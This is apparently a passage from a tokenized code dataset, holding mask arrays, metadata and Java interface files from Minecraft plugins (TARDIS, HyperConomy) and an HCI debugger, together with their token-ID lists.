1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,196
| true
| 54.472152
| true
| true
|
TARDISMapper.java
|
/FileExtraction/Java_unseen/eccentricdevotion_TARDIS/src/main/java/me/eccentric_nz/TARDIS/mapping/TARDISMapper.java
|
/*
* Copyright (C) 2024 eccentric_nz
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package me.eccentric_nz.TARDIS.mapping;
import me.eccentric_nz.TARDIS.api.TARDISData;
public interface TARDISMapper {
public static final String INFO = """
<div class="regioninfo">
<div class="infowindow">
<span style="font-weight:bold;">Time Lord:</span> %owner%<br/>
<span style="font-weight:bold;">Console type:</span> %console%<br/>
<span style="font-weight:bold;">Chameleon circuit:</span> %chameleon%<br/>
<span style="font-weight:bold;">Location:</span> %location%<br/>
<span style="font-weight:bold;">Door:</span> %door%<br/>
<span style="font-weight:bold;">Powered on:</span> %powered%<br/>
<span style="font-weight:bold;">Siege mode:</span> %siege%<br/>
<span style="font-weight:bold;">Occupants:</span> %occupants%
</div>
</div>""";
/**
* Disable mapping TARDISes
*/
void disable();
/**
* Enable mapping TARDISes
*/
void enable();
/**
* Activate mapping TARDISes
*/
void activate();
/**
* Update markers with relevant TARDIS data
*
* @param period the time in server ticks between updates
*/
void updateMarkerSet(long period);
default String formatInfoWindow(TARDISData data) {
String window = INFO;
window = window.replace("%owner%", data.getOwner());
window = window.replace("%console%", data.getConsole());
window = window.replace("%chameleon%", data.getChameleon());
String l = "x: " + data.getLocation().getBlockX() + ", y: " + data.getLocation().getBlockY() + ", z: " + data.getLocation().getBlockZ();
window = window.replace("%location%", l);
window = window.replace("%powered%", data.getPowered());
window = window.replace("%door%", data.getDoor());
window = window.replace("%siege%", data.getSiege());
StringBuilder travellers = new StringBuilder();
if (!data.getOccupants().isEmpty()) {
for (String o : data.getOccupants()) {
travellers.append(o).append("<br />");
}
} else {
travellers = new StringBuilder("Empty");
}
window = window.replace("%occupants%", travellers.toString());
return window;
}
}
| 3,101
|
Java
|
.java
|
eccentricdevotion/TARDIS
| 78
| 27
| 31
|
2012-07-06T10:10:11Z
|
2024-05-06T20:37:18Z
|
edcabafedbcc64403a03ac53a6021284425e460bb2337d9021d6b25b8b8b15c0
|
[
1127,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
55,
57,
38284,
323,
3953,
100,
16152,
222,
338,
222,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
1337,
616,
51,
754,
47920,
100,
16152,
51,
89,
802,
5988,
51,
9399,
64,
222,
222,
485,
616,
51,
754,
47920,
100,
16152,
51,
89,
802,
5988,
51,
1256,
51,
89,
802,
5988,
768,
64,
222,
222,
942,
2586,
413,
802,
5988,
5640,
320,
465,
581,
924,
1175,
910,
9945,
299,
1547,
343,
350,
526,
462,
366,
3436,
1357,
432,
419,
350,
526,
462,
366,
5290,
460,
1020,
432,
547,
350,
681,
1435,
366,
2204,
50,
3327,
63,
8599,
3971,
1061,
517,
675,
4018,
681,
67,
925,
5645,
42,
65,
858,
2056,
547,
350,
681,
1435,
366,
2204,
50,
3327,
63,
8599,
3971,
7634,
847,
4018,
681,
67,
925,
4482,
42,
65,
858,
2056,
547,
350,
681,
1435,
366,
2204,
50,
3327,
63,
8599,
3971,
846,
340,
46301,
21408,
4018,
681,
67,
925,
399,
340,
46301,
42,
65,
858,
2056,
547,
350,
681,
1435,
366,
2204,
50,
3327,
63,
8599,
3971,
2941,
4018,
681,
67,
925,
2665,
42,
65,
858,
2056,
547,
350,
681,
1435,
366,
2204,
50,
3327,
63,
8599,
3971,
27023,
4018,
681,
67,
925,
18820,
42,
65,
858,
2056,
547,
350,
681,
1435,
366,
2204,
50,
3327,
63,
8599,
3971,
6790,
337,
563,
4018,
681,
67,
925,
24511,
42,
65,
858,
2056,
547,
350,
681,
1435,
366,
2204,
50,
3327,
63,
8599,
3971,
45543,
319,
2945,
4018,
681,
67,
925,
120,
1093,
319,
42,
65,
858,
2056,
547,
350,
681,
1435,
366,
2204,
50,
3327,
63,
8599,
3971,
41723,
2392,
4018,
681,
67,
925,
31416,
2392,
42,
419,
594,
526,
67,
343,
594,
526,
67,
1033,
884,
465,
1041,
294,
338,
17619,
8023,
413,
802,
5988,
326,
294,
588,
303,
782,
7383,
492,
465,
1041,
294,
338,
11602,
8023,
413,
802,
5988,
326,
294,
588,
303,
782,
5362,
492,
465,
1041,
294,
338,
39489,
8023,
413,
802,
5988,
326,
294,
588,
303,
782,
18199,
492,
465,
1041,
294,
338,
4013,
24303,
642,
10109,
413,
802,
5988,
727,
294,
338,
294,
338,
496,
772,
7949,
341,
1153,
347,
2160,
23571,
3761,
7786,
294,
588,
303,
782,
1991,
11126,
903,
45,
3239,
7949,
312,
465,
1263,
910,
2224,
1139,
1684,
45,
89,
802,
5988,
768,
727,
46,
320,
310,
910,
3240,
299,
9945,
64,
310,
3240,
299,
3240,
51,
3249,
4923,
5645,
22520,
727,
51,
47828,
1052,
310,
3240,
299,
3240,
51,
3249,
4923,
4482,
22520,
727,
51,
390,
7634,
1052,
310,
3240,
299,
3240,
51,
3249,
4923,
399,
340,
46301,
22520,
727,
51,
390,
846,
340,
46301,
1052,
310,
910,
475,
299,
332,
125,
63,
332,
494,
727,
51,
26716,
941,
25641,
93,
365,
494,
3021,
553,
63,
332,
494,
727,
51,
26716,
941,
25641,
94,
365,
494,
3021,
1308,
63,
332,
494,
727,
51,
26716,
941,
25641,
95,
492,
310,
3240,
299,
3240,
51,
3249,
4923,
2665,
22520,
475,
312,
310,
3240,
299,
3240,
51,
3249,
4923,
24511,
22520,
727,
51,
390,
6790,
337,
1052,
310,
3240,
299,
3240,
51,
3249,
4923,
18820,
22520,
727,
51,
390,
27023,
1052,
310,
3240,
299,
3240,
51,
3249,
4923,
120,
1093,
319,
22520,
727,
51,
18721,
1093,
319,
1052,
310,
9705,
41643,
1042,
502,
299,
556,
9705,
492,
310,
434,
1445,
624,
51,
390,
41723,
2392,
941,
6401,
1177,
320,
343,
456,
327,
671,
356,
518,
727,
51,
390,
41723,
2392,
1177,
320,
419,
41643,
1042,
502,
51,
1713,
45,
116,
566,
1713,
10379,
858,
1699,
742,
343,
339,
310,
339,
832,
320,
343,
41643,
1042,
502,
299,
556,
9705,
459,
2779,
742,
310,
339,
310,
3240,
299,
3240,
51,
3249,
4923,
31416,
2392,
22520,
41643,
1042,
502,
51,
3127,
1052,
310,
461,
3240,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 770
| true
| 59.529184
| true
| true
|
IPacket.java
|
/FileExtraction/Java_unseen/bertrandmartel_hci-debugger/app/src/main/java/com/github/akinaru/hcidebugger/model/IPacket.java
|
/**************************************************************************
* This file is part of HCI Debugger *
* <p/> *
* Copyright (C) 2016-2017 Bertrand Martel *
* <p/> *
* HCI Debugger is free software: you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation, either version 3 of the License, or *
* (at your option) any later version. *
* <p/> *
* HCI Debugger is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* <p/> *
* You should have received a copy of the GNU General Public License *
* along with HCI Debugger. If not, see <http://www.gnu.org/licenses/>. *
*/
package com.github.akinaru.hcidebugger.model;
/**
* HCI packet interfarce
*
* @author Bertrand Martel
*/
public interface IPacket {
/**
* display information about packet
* @return
*/
String getDisplayedInfo();
}
| 1,562
|
Java
|
.java
|
bertrandmartel/hci-debugger
| 21
| 7
| 1
|
2016-03-25T21:33:07Z
|
2017-03-26T04:19:52Z
|
e3854e637b41f947eaea2f56e31cf3e311ff32ffb62f3deff39cc2ebcdb37ef9
|
[
11528,
345,
222,
338,
1369,
822,
458,
1760,
451,
696,
4264,
39424,
20725,
338,
222,
338,
350,
117,
2056,
3556,
280,
338,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
59,
50,
55,
53,
54,
60,
244,
20853,
378,
382,
22905,
361,
15922,
338,
222,
338,
350,
117,
2056,
3556,
280,
338,
222,
338,
696,
4264,
39424,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
282,
338,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
280,
338,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
665,
338,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
15922,
338,
222,
338,
350,
117,
2056,
3556,
280,
338,
222,
338,
696,
4264,
39424,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
2868,
338,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
282,
338,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
2052,
338,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
10450,
338,
222,
338,
350,
117,
2056,
3556,
280,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
665,
338,
222,
338,
7979,
642,
696,
4264,
39424,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
370,
338,
222,
588,
222,
1337,
785,
51,
951,
51,
793,
21915,
122,
51,
13282,
824,
1468,
892,
51,
1184,
64,
222,
222,
1350,
222,
338,
696,
4264,
6892,
1447,
14824,
388,
222,
338,
222,
338,
496,
2133,
20853,
378,
382,
22905,
361,
222,
588,
222,
942,
2586,
4618,
3372,
320,
465,
1041,
294,
338,
2540,
2490,
2645,
6892,
294,
338,
496,
620,
294,
588,
303,
910,
640,
27341,
1139,
492,
222,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 312
| true
| 44.622279
| true
| true
|
MineCraftConnector.java
|
/FileExtraction/Java_unseen/patrick-layden_HyperConomy/src/main/java/regalowl/hyperconomy/api/MineCraftConnector.java
|
package regalowl.hyperconomy.api;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
import regalowl.hyperconomy.HyperConomy;
import regalowl.hyperconomy.account.HyperPlayer;
import regalowl.hyperconomy.command.HyperCommand;
import regalowl.hyperconomy.display.FrameShopHandler;
import regalowl.hyperconomy.inventory.HEnchantment;
import regalowl.hyperconomy.inventory.HInventory;
import regalowl.hyperconomy.inventory.HItemStack;
import regalowl.hyperconomy.minecraft.HBlock;
import regalowl.hyperconomy.minecraft.HItem;
import regalowl.hyperconomy.minecraft.HLocation;
import regalowl.hyperconomy.minecraft.HSign;
public interface MineCraftConnector {
public HyperConomy getHC();
public boolean isEnabled();
public void disablePlugin();
public String getVersion();
public ServerConnectionType getServerConnectionType();
public void registerCommand(String command, HyperCommand hCommand);
public void unregisterAllListeners();
public void registerListeners();
public void setListenerState(boolean minimal);
public void runTask(Runnable r);
public void runTaskLater(Runnable r, Long delayTicks);
public long runRepeatingTask(Runnable r, Long delayTicks, Long intervalTicks);
public void cancelTask(long id);
public void cancelAllTasks();
public boolean useExternalEconomy();
public String getEconomyName();
public void checkExternalEconomyRegistration();
public void unRegisterAsExternalEconomy();
public void setupHEconomyProvider();
public HEconomyProvider getEconomyProvider();
public boolean isInCreativeMode(HyperPlayer hp);
public HLocation getLocation(HyperPlayer hp);
public HLocation getTargetLocation(HyperPlayer hp);
public HLocation getLocationBeforeTargetLocation(HyperPlayer hp);
public boolean isOnline(HyperPlayer hp);
public UUID getUUID(HyperPlayer hp);
public void teleport(HyperPlayer hp, HLocation sl);
public void sendMessage(HyperPlayer hp, String message);
public void kickPlayer(HyperPlayer hp, String message);
public boolean isSneaking(HyperPlayer hp);
public boolean hasPermission(HyperPlayer hp, String permission);
public boolean isPermissionSet(HyperPlayer hp, String permission);
public HyperPlayer getPlayer(UUID uuid);
public boolean playerExists(UUID uuid);
public int getLevel(HyperPlayer hp);
public float getExp(HyperPlayer hp);
public void setLevel(HyperPlayer hp, int level);
public void setExp(HyperPlayer hp, float exp);
public String getName(HyperPlayer hp);
public void checkForNameChange(HyperPlayer hp);
public HItemStack getItem(HyperPlayer hp, int slot);
public int getHeldItemSlot(HyperPlayer hp);
public HInventory getInventory(HyperPlayer hp);
public void setItem(HyperPlayer player, HItemStack item, int slot);
public void setItem(HLocation location, HItemStack item, int slot);
public void setItemQuantity(HLocation location, int amount, int slot);
public void setItemQuantity(HyperPlayer hp, int amount, int slot);
public void setItemLore(HInventory inventory, List<String> lore, int slot);
public void setItemOnCursor(HyperPlayer p, HItemStack stack);
public String getMinecraftItemName(HItemStack stack);
public HInventory getChestInventory(HLocation l);
public void setInventory(HInventory inventory);
public void openInventory(HInventory inventory, HyperPlayer player, String name);
public void closeActiveInventory(HyperPlayer p);
public boolean conflictsWith(HEnchantment e1, HEnchantment e2);
public boolean canEnchantItem(HItemStack item);
public ArrayList<HyperPlayer> getOnlinePlayers();
public ArrayList<String> getOnlinePlayerNames();
public boolean worldExists(String world);
public boolean isLoaded(HLocation l);
public void load(HLocation l);
public void logInfo(String message);
public void logSevere(String message);
public String applyColor(String text);
public String removeColor(String text);
public boolean isTransactionSign(HLocation l);
public boolean isInfoSign(HLocation l);
public boolean isChestShopSign(HLocation l);
public boolean isChestShopSignBlock(HLocation l);
public boolean isChestShopChest(HLocation l);
public boolean isPartOfChestShop(HLocation l);
//public ChestShop getChestShop(HLocation location);
public HSign getSign(HLocation location);
public void setSign(HSign sign);
public HBlock getAttachedBlock(HSign sign);
public boolean isChest(HLocation l);
public boolean canHoldChestShopSign(HLocation l);
public HItem dropItemDisplay(HLocation location, HItemStack item);
public void removeItem(HItem item);
public void clearNearbyNonDisplayItems(HItem item, double radius);
public void zeroVelocity(HItem item);
public HBlock getFirstNonAirBlockInColumn(HLocation location);
public boolean canFall(HBlock block);
public FrameShopHandler getFrameShopHandler();
}
| 4,816
|
Java
|
.java
|
patrick-layden/HyperConomy
| 34
| 25
| 57
|
2012-04-08T21:19:35Z
|
2022-12-14T20:25:10Z
|
118b4ea912fa6c5596b869cbb458a3359d645df1c94a58d46068a402b8115f9a
|
[
1337,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
1256,
64,
499,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1401,
51,
1058,
51,
7604,
64,
222,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
20576,
628,
437,
126,
64,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
3543,
51,
20576,
3516,
64,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
2514,
51,
20576,
2037,
64,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
2784,
51,
2163,
12826,
1985,
64,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
12944,
51,
77,
44613,
488,
64,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
12944,
51,
77,
12420,
64,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
12944,
51,
77,
26022,
64,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
8654,
51,
77,
2246,
64,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
8654,
51,
77,
1114,
64,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
8654,
51,
77,
2941,
64,
222,
485,
2854,
298,
16969,
51,
7793,
18167,
126,
51,
8654,
51,
77,
3399,
64,
222,
222,
942,
2586,
507,
501,
23998,
9940,
320,
3038,
221,
942,
14841,
628,
437,
126,
640,
15418,
492,
222,
221,
942,
1922,
458,
4006,
492,
222,
221,
942,
782,
7383,
4168,
492,
222,
221,
942,
910,
640,
2080,
492,
222,
221,
942,
4242,
2815,
638,
640,
2077,
2815,
638,
492,
3038,
221,
942,
782,
3923,
2037,
45,
671,
2035,
49,
14841,
2037,
439,
2037,
312,
26000,
221,
942,
782,
40572,
1947,
14625,
492,
222,
221,
942,
782,
3923,
14625,
492,
222,
221,
942,
782,
758,
2239,
1095,
45,
4412,
16644,
312,
26000,
221,
942,
782,
1441,
2265,
45,
17695,
559,
312,
222,
221,
942,
782,
1441,
2265,
31312,
45,
17695,
559,
49,
6374,
7826,
18717,
312,
222,
221,
942,
1964,
1441,
42397,
1761,
2265,
45,
17695,
559,
49,
6374,
7826,
18717,
49,
6374,
7917,
18717,
312,
222,
221,
942,
782,
8260,
2265,
45,
3239,
828,
312,
222,
221,
942,
782,
8260,
1947,
6706,
492,
376,
499,
221,
942,
1922,
813,
8392,
74,
18167,
126,
492,
222,
221,
942,
910,
640,
74,
18167,
126,
577,
492,
222,
221,
942,
782,
1524,
8392,
74,
18167,
126,
11509,
492,
222,
221,
942,
782,
725,
4339,
1482,
8392,
74,
18167,
126,
492,
222,
221,
942,
782,
4721,
1692,
18167,
126,
2588,
492,
222,
221,
942,
11323,
18167,
126,
2588,
640,
74,
18167,
126,
2588,
492,
26000,
221,
942,
1922,
43337,
34747,
2116,
45,
20576,
3516,
21936,
312,
222,
221,
942,
696,
2941,
640,
2941,
45,
20576,
3516,
21936,
312,
222,
221,
942,
696,
2941,
640,
2937,
2941,
45,
20576,
3516,
21936,
312,
222,
221,
942,
696,
2941,
640,
2941,
5670,
2937,
2941,
45,
20576,
3516,
21936,
312,
222,
221,
942,
1922,
458,
14097,
45,
20576,
3516,
21936,
312,
222,
221,
942,
14286,
640,
7604,
45,
20576,
3516,
21936,
312,
222,
221,
942,
782,
15556,
644,
45,
20576,
3516,
21936,
49,
696,
2941,
5454,
312,
222,
221,
942,
782,
39209,
45,
20576,
3516,
21936,
49,
910,
1492,
312,
222,
221,
942,
782,
30275,
3516,
45,
20576,
3516,
21936,
49,
910,
1492,
312,
222,
221,
942,
1922,
458,
88,
960,
4877,
45,
20576,
3516,
21936,
312,
222,
221,
942,
1922,
1421,
7052,
45,
20576,
3516,
21936,
49,
910,
6504,
312,
222,
221,
942,
1922,
458,
7052,
903,
45,
20576,
3516,
21936,
49,
910,
6504,
312,
222,
221,
942,
14841,
3516,
640,
3516,
45,
7604,
11168,
312,
222,
221,
942,
1922,
4376,
7544,
45,
7604,
11168,
312,
222,
221,
942,
648,
640,
2671,
45,
20576,
3516,
21936,
312,
222,
221,
942,
1916,
640,
3878,
45,
20576,
3516,
21936,
312,
222,
221,
942,
782,
758,
2671,
45,
20576,
3516,
21936,
49,
648,
3215,
312,
222,
221,
942,
782,
758,
3878,
45,
20576,
3516,
21936,
49,
1916,
2928,
312,
222,
221,
942,
910,
16389,
45,
20576,
3516,
21936,
312,
222,
221,
942,
782,
1524,
1580,
577,
1810,
45,
20576,
3516,
21936,
312,
222,
221,
942,
696,
26022,
26779,
45,
20576,
3516,
21936,
49,
648,
9848,
312,
222,
221,
942,
648,
640,
2136,
105,
1114,
9493,
45,
20576,
3516,
21936,
312,
222,
221,
942,
696,
12420,
640,
12420,
45,
20576,
3516,
21936,
312,
222,
221,
942,
782,
758,
1114,
45,
20576,
3516,
4376,
49,
696,
26022,
1641,
49,
648,
9848,
312,
222,
221,
942,
782,
758,
1114,
45,
77,
2941,
3913,
49,
696,
26022,
1641,
49,
648,
9848,
312,
222,
221,
942,
782,
758,
1114,
13024,
45,
77,
2941,
3913,
49,
648,
5190,
49,
648,
9848,
312,
222,
221,
942,
782,
758,
1114,
13024,
45,
20576,
3516,
21936,
49,
648,
5190,
49,
648,
9848,
312,
222,
221,
942,
782,
758,
1114,
81,
705,
45,
77,
12420,
17045,
49,
1701,
65,
671,
67,
617,
287,
49,
648,
9848,
312,
222,
221,
942,
782,
758,
1114,
1501,
7424,
45,
20576,
3516,
317,
49,
696,
26022,
4154,
312,
222,
221,
942,
910,
640,
33186,
47721,
45,
77,
26022,
4154,
312,
3038,
221,
942,
696,
12420,
640,
44808,
12420,
45,
77,
2941,
475,
312,
222,
221,
942,
782,
758,
12420,
45,
77,
12420,
17045,
312,
222,
221,
942,
782,
2177,
12420,
45,
77,
12420,
17045,
49,
14841,
3516,
4376,
49,
910,
655,
312,
222,
221,
942,
782,
4248,
4091,
12420,
45,
20576,
3516,
317,
312,
222,
221,
942,
1922,
11729,
8621,
45,
77,
44613,
488,
503,
54,
49,
696,
44613,
488,
503,
55,
312,
222,
221,
942,
1922,
902,
44613,
1114,
45,
77,
26022,
1641,
312,
26000,
221,
942,
5068,
65,
20576,
3516,
67,
640,
14097,
17670,
492,
222,
221,
942,
5068,
65,
671,
67,
640,
14097,
3516,
4128,
492,
222,
221,
942,
1922,
5810,
7544,
45,
671,
5810,
312,
26000,
221,
942,
1922,
458,
10661,
45,
77,
2941,
475,
312,
222,
221,
942,
782,
2480,
45,
77,
2941,
475,
312,
41482,
221,
942,
782,
1264,
1139,
45,
671,
1492,
312,
222,
221,
942,
782,
1264,
921,
29848,
45,
671,
1492,
312,
222,
221,
942,
910,
4894,
1530,
45,
671,
1367,
312,
222,
221,
942,
910,
3365,
1530,
45,
671,
1367,
312,
26000,
221,
942,
1922,
458,
4331,
3399,
45,
77,
2941,
475,
312,
222,
221,
942,
1922,
458,
1139,
3399,
45,
77,
2941,
475,
312,
222,
221,
942,
1922,
458,
44808,
12826,
3399,
45,
77,
2941,
475,
312,
222,
221,
942,
1922,
458,
44808,
12826,
3399,
2246,
45,
77,
2941,
475,
312,
222,
221,
942,
1922,
458,
44808,
12826,
44808,
45,
77,
2941,
475,
312,
222,
221,
942,
1922,
458,
2655,
1436,
44808,
12826,
45,
77,
2941,
475,
312,
222,
221,
325,
942,
409,
12808,
12826,
640,
44808,
12826,
45,
77,
2941,
3913,
312,
222,
221,
942,
696,
3399,
640,
3399,
45,
77,
2941,
3913,
312,
222,
221,
942,
782,
758,
3399,
45,
77,
3399,
2613,
312,
222,
221,
942,
696,
2246,
640,
26381,
2246,
45,
